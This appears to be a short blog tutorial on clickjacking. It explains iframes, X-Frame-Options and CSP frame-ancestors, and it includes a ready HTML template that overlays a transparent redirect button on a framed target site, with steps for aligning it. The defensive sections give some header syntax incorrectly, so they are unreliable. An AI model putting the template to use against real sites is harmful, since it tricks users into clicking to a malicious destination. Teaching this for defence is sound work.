What is Clickjacking
Clickjacking
- It is a web based vulnerability which allows hacker to embed a webpage of a domain on hacker's fake webpage.
- Now the fake webpage can works like a legitimate one and become very complex to identify that it is a fake webpage.
- It is also known as UI Redressing.
- It can be achieved by using iframe.
Things to Know:
X-frame:
It is a http security header that controls iframe. It is used to specify whether a browser is allowed to render a page in iframe.
Content Security Policy (CSP):
It is a security standard which allows the developer to add additional security to the website. It helps developer to restrict loading web resource like HTML, CSS, JS into other webpage.
iframe:
It is a html element that loads another html element inside a web page.
HTML template with Iframe to exploit clickjacking
<!DOCTYPE html>
<html lang="en-US">
<head>
<meta charset="UTF-8">
<title>I Frame</title>
<style>
html, body {
height: 100%;
margin: 0;
}
iframe {
width: 100%;
height: 100%;
border: none; /* Optional: To remove the default iframe border */
}
.center-button {
position: absolute;
top: 87%; /* Adjust this value to move the button down */
left: 25%;
transform: translate(-50%, -50%);
background-color: green;
border: 2px solid black;
color: black;
padding: 20px 20px; /* Adjust the size of the button*/
font-size: 26px;
cursor: pointer;
}
</style>
</head>
<body>
<iframe src="url of the targeted domain"></iframe>
<button class="center-button" onclick="window.location.href='malicious site to which the victim has to redirected'">Click</button>
</body>
</html>
Steps to make the above template effective
- Make sure that the targeted site is specified inside iframe.
- Make sure that the malicious site to which the victim has to be redirected is specified inside button.
- Make sure that the button is adjusted and align with the button present in the legitimate webpage by changing the percentage in top and left.
- Make sure that the button is made transparent.
Methods to prevent clickjacking:
X-farme-options: Same Origin = domain.com
The x-frame option with same origin only allow the webpage with specified domain to iframe the sight. It checks the origin of the frame and the origin of the top most window.
Steps to check the x-frame option of a website:
- Open your website navigate to the targeted domain.
- Inspect the webpage and navigate to the network tab of the inspector.
- reload the webpage and search for x-frame
Content-security-policy : frame-ancestors "self" domain.com
Setting CSP frame-ancestor with self keyword will allow the webpage with specified domain to iframe the sight. CSP security standard is not supported in internet explorer and safari browser with version <= 10
Steps to check the CSP header of a website:
- Open your website navigate to the targeted domain.
- Inspect the webpage and navigate to the network tab of the inspector.
- reload the webpage and search for content-security-policy
Comments
Post a Comment